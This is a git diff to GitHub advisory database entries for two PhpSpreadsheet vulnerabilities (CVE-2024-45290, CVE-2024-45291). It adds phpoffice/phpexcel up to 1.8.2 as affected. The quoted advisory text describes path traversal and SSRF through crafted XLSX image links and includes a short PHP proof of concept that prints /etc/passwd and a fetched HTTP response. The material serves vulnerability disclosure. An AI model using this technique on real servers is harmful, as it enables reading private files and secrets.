diff --git a/advisories/github-reviewed/2024/10/GHSA-5gpr-w2p5-6m37/GHSA-5gpr-w2p5-6m37.json b/advisories/github-reviewed/2024/10/GHSA-5gpr-w2p5-6m37/GHSA-5gpr-w2p5-6m37.json
index d5265406d86..e2eaf845df0 100644
--- a/advisories/github-reviewed/2024/10/GHSA-5gpr-w2p5-6m37/GHSA-5gpr-w2p5-6m37.json
+++ b/advisories/github-reviewed/2024/10/GHSA-5gpr-w2p5-6m37/GHSA-5gpr-w2p5-6m37.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-5gpr-w2p5-6m37",
- "modified": "2024-10-07T22:29:33Z",
+ "modified": "2025-03-06T18:12:43Z",
"published": "2024-10-07T15:57:38Z",
"aliases": [
"CVE-2024-45290"
@@ -75,6 +75,25 @@
]
}
]
+ },
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpexcel"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "last_affected": "1.8.2"
+ }
+ ]
+ }
+ ]
}
],
"references": [
diff --git a/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json b/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json
index 1a4bf363851..f732fe383a5 100644
--- a/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json
+++ b/advisories/github-reviewed/2024/10/GHSA-w9xv-qf98-ccq4/GHSA-w9xv-qf98-ccq4.json
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-w9xv-qf98-ccq4",
- "modified": "2024-10-07T22:29:43Z",
+ "modified": "2025-03-06T18:13:21Z",
"published": "2024-10-07T15:58:06Z",
"aliases": [
"CVE-2024-45291"
],
"summary": "PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled",
- "details": "### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n\n```\nor\n```xml\n\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this->embedImages || str_starts_with($imageData, 'zip://')) {\n $picture = @file_get_contents($filename);\n if ($picture !== false) {\n $imageDetails = getimagesize($filename) ?: ['mime' => ''];\n // base64 encode the binary data\n $base64 = base64_encode($picture);\n $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n }\n}\n\n$html .= '![]()
getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '\n . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;\" src=\"'\n . $imageData . '\" alt=\"' . $filedesc . '\" />';\n```\n\n### PoC\n\n```php\nload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer->setEmbedImages(true);\n$output = $writer->generateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.\n",
+ "details": "### Summary\n\nIt's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.\n\n### Details\n\nXLSX files allow embedding or linking media. When \n\nIn `xl/drawings/drawing1.xml` an attacker can do e.g.:\n```xml\n\n```\n\nAnd then, in `xl/drawings/_rels/drawing1.xml.rels` they can set the path to anything, such as:\n```xml\n\n```\nor\n```xml\n\n```\n\nWhen the HTML writer is outputting the image, it does not check the path in any way. Also the `getimagesize()` call does not mitigate this, because when `getimagesize()` returns false, an empty mime type is used.\n\n```php\nif ($this->embedImages || str_starts_with($imageData, 'zip://')) {\n $picture = @file_get_contents($filename);\n if ($picture !== false) {\n $imageDetails = getimagesize($filename) ?: ['mime' => ''];\n // base64 encode the binary data\n $base64 = base64_encode($picture);\n $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;\n }\n}\n\n$html .= '![]()
getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '\n . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;\" src=\"'\n . $imageData . '\" alt=\"' . $filedesc . '\" />';\n```\n\n### PoC\n\n```php\nload(__DIR__ . '/book.xlsx');\n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet);\n$writer->setEmbedImages(true);\n$output = $writer->generateHTMLAll();\n\n// The below is just for demo purposes\n\n$pattern = '/data:;base64,(?[^\"]+)/i';\n\npreg_match_all($pattern, $output, $matches);\n\nprint(\"*** /etc/passwd content: ***\\n\");\nprint(base64_decode($matches['data'][0]));\n\nprint(\"*** HTTP response content: ***\\n\");\nprint(base64_decode($matches['data'][1]));\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213066/book.xlsx)\n\nRun with:\n`php index.php`\n\n### Impact\n\nWhen embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. [revealing secrets](https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/). Note that any PHP protocol wrappers can be used, meaning that if for example the `expect://` wrapper is enabled, also remote code execution is possible.",
"severity": [
{
"type": "CVSS_V3",
@@ -75,6 +75,25 @@
]
}
]
+ },
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/phpexcel"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "last_affected": "1.8.2"
+ }
+ ]
+ }
+ ]
}
],
"references": [